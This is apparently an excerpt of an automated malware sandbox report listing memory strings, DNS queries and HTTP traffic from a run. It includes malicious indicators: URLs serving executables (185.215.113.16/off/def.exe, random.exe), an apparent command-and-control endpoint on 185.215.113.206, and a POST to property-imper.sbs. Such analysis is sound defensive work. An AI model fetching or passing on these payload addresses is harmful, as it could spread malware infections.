Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2482727507.0000027292981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2482727507.0000027292981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2482727507.0000027292981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2528820121.000002729497A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2481912376.0000027292816000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.2481912376.0000027292816000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.2528820121.0000027294996000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2561348786.000002729AF60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2528820121.0000027294970000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs

Source: firefox.exe, 00000019.00000002.2482727507.000002729294C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2561348786.000002729AF47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: f20b4c0961.exe, f20b4c0961.exe, 0000000B.00000002.2763484000.000000000068E000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000002.2763484000.00000000006AA000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2687794074.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: f20b4c0961.exe, 0000000B.00000002.2762752714.00000000004FA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: f20b4c0961.exe, 0000000B.00000002.2763484000.00000000006AA000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2687794074.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exes
Source: f20b4c0961.exe, f20b4c0961.exe, 0000000B.00000002.2763484000.00000000006AA000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2687794074.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: f20b4c0961.exe, 0000000B.00000002.2763484000.00000000006AA000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2687794074.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeP
Source: e2af9f55fd.exe, 0000000A.00000002.2254292302.000000000128E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: e2af9f55fd.exe, 0000000A.00000002.2254292302.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, e2af9f55fd.exe, 0000000A.00000002.2254292302.000000000128E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: e2af9f55fd.exe, 0000000A.00000002.2254292302.00000000012EF000.00000004.00000020.00020000.00000000.sdmp, e2af9f55fd.exe, 0000000A.00000002.2254292302.000000000128E000.00000004.00000020.00020000.00000000.sdmp, e2af9f55fd.exe, 0000000A.00000002.2254292302.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: e2af9f55fd.exe, 0000000A.00000002.2254292302.00000000012EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/l
Source: e2af9f55fd.exe, 0000000A.00000002.2254292302.0000000001302000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php:Py)
Source: e2af9f55fd.exe, 0000000A.00000002.2254292302.00000000012EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpF
Source: e2af9f55fd.exe, 0000000A.00000002.2254292302.000000000128E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpX
Source: e2af9f55fd.exe, 0000000A.00000002.2254292302.000000000128E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpf-9bc86c8e8c94z
Source: e2af9f55fd.exe, 0000000A.00000002.2254292302.00000000012EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/k
Source: e2af9f55fd.exe, 0000000A.00000002.2254292302.00000000012EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2492921640.0000027293227000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2390907395.000002729486A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2492921640.0000027293227000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2390907395.000002729486A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2492921640.0000027293227000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2390907395.000002729486A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2492921640.0000027293227000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2390907395.000002729486A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: f20b4c0961.exe, 00000009.00000003.2217175427.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2401085437.0000000005422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: f20b4c0961.exe, 00000009.00000003.2217175427.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2401085437.0000000005422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://www.inbox.lv/rfc2368/?value=%s
Source: f20b4c0961.exe, 00000009.00000003.2349009212.000000000116C000.00000004.00000020.00020000.00000000.sdmp, f20b4c0961.exe, 00000009.00000003.2294043967.0000000001161000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: f20b4c0961.exe, 00000009.00000003.2217175427.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2401085437.0000000005422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: f20b4c0961.exe, 00000009.00000003.2217175427.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2401085437.0000000005422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: f20b4c0961.exe, 00000009.00000003.2217175427.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2401085437.0000000005422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: f20b4c0961.exe, 00000009.00000003.2217175427.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2401085437.0000000005422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: f20b4c0961.exe, 00000009.00000003.2217175427.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2401085437.0000000005422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000019.00000002.2569395137.000002729B6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2542958150.0000027295FA2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000019.00000002.2489207640.0000027293017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2536942361.00000272950BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000019.00000002.2489207640.000002729304B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000019.00000002.2458618765.000002728E78A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000019.00000002.2458618765.000002728E78A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000019.00000002.2458618765.000002728E78A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2576582676.000002729D1A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000019.00000002.2582142456.00001C4C4A104000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatment
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThresholdExpected
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThresholdhttp://mozilla.org/#/propert
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabled
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledhttp://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemsTabsToolbar
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemsmoz-extension://d459
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/namespace
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreloadEnabledRollout
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/experimentType
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/exposureResults
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isBestMatchExperiment
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/networkPredictorDELETE
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/preconnect
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabledUnable
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabledcd09ae95-e2cf-4b8b-8929-79
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariationhttp://mozilla.org/#/properties
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataTypehttp://mozilla.org/#/properties/qu
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 00000019.00000002.2481912376.0000027292816000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2502645913.0000027293F67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2563092645.000002729B1D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2400926046.000002729B17A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2478820802.00000272913B9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: f20b4c0961.exe, 00000009.00000003.2217175427.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2401085437.0000000005422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: f20b4c0961.exe, 00000009.00000003.2217175427.00000000059E6000.00000004.00000800.00020000.00000000.sdmp, f20b4c0961.exe, 0000000B.00000003.2401085437.0000000005422000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000019.00000002.2563092645.000002729B1A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 00000019.00000002.2458618765.000002728E7DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 00000019.00000002.2563092645.000002729B1A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2458618765.000002728E7DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000019.00000002.2516262256.0000027294862000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2492921640.0000027293227000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2390907395.000002729486A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000019.00000002.2536047644.0000027294F76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul:
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/notifi
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/search
Source: firefox.exe, 00000019.00000002.2463002114.000002728F172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
